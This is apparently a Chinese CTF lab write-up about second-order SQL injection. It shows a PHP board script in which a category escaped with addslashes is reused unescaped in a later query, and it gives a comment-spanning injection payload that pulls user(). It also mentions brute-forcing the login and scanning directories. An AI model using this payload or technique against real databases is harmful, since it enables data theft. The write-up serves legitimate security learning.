二次注入CTF实战

进入靶机有一个发帖的功能,我们点击提交发现需要我们登录

这里可以用bp抓包进行暴力破解

进来发现我们干不了什么

用dirmap扫一下

php 复制代码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

找到他的一个源码

他首先需要一个登录这里我们已经登录了

发完贴他会直接跳回index.php

点击详情会看到这个文件

php 复制代码
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;

他会从数据库里把category拿出来

addslanshes这个会过滤掉会进行一个转译,但是进入mysql库里的时候转义字符会移除,所以出库的时候就没有了转义字符,所以我们这里可以进行二次注入在comment里

闭合情况下

php 复制代码
insert into comment
       set category = ' ',content=user(),/*',
           content = '*/#',
           bo_id = '$bo_id'";

这里需要多行注释

可以拿到数据了,后面就是修改payload

相关推荐
星幻元宇VR16 分钟前
VR科普学习一体机|让知识触手可及的沉浸式科普新方式
科技·学习·安全·生活·vr
mooyuan天天30 分钟前
AI大模型辅助Web渗透测试-TRAE智能体自动化解CTF题(命令执行 powershell)
人工智能·web安全·渗透测试·ctf·ai辅助渗透测试
其实防守也摸鱼2 小时前
Web漏洞全景解析:从原理溯源到实战攻防的进阶指南
网络·web安全·网络安全·学习笔记·web类型漏洞
wuyoula2 小时前
Python IP服务器防火墙源码解析与应用——网站安全防护策略探讨
服务器·tcp/ip·安全
货拉拉技术2 小时前
自学习机制下的 API 资产分类实践
安全·机器学习·api
老张的张Z2 小时前
CISSP 域3知识点 物理安全
安全·网络安全·安全架构
Amy187021118232 小时前
漏电流:看不见的电气隐患,剩余电流动作继电器如何筑牢安全防线?
安全
老张的张Z2 小时前
CISSP 域4知识点 网络组件安全
网络·安全
安全测评-Sean3 小时前
2026年安全度量厂商能力横评
安全
kyriewen3 小时前
你的网站被“下毒”了?XSS和CSRF:前端安全的两大“毒瘤”
前端·javascript·安全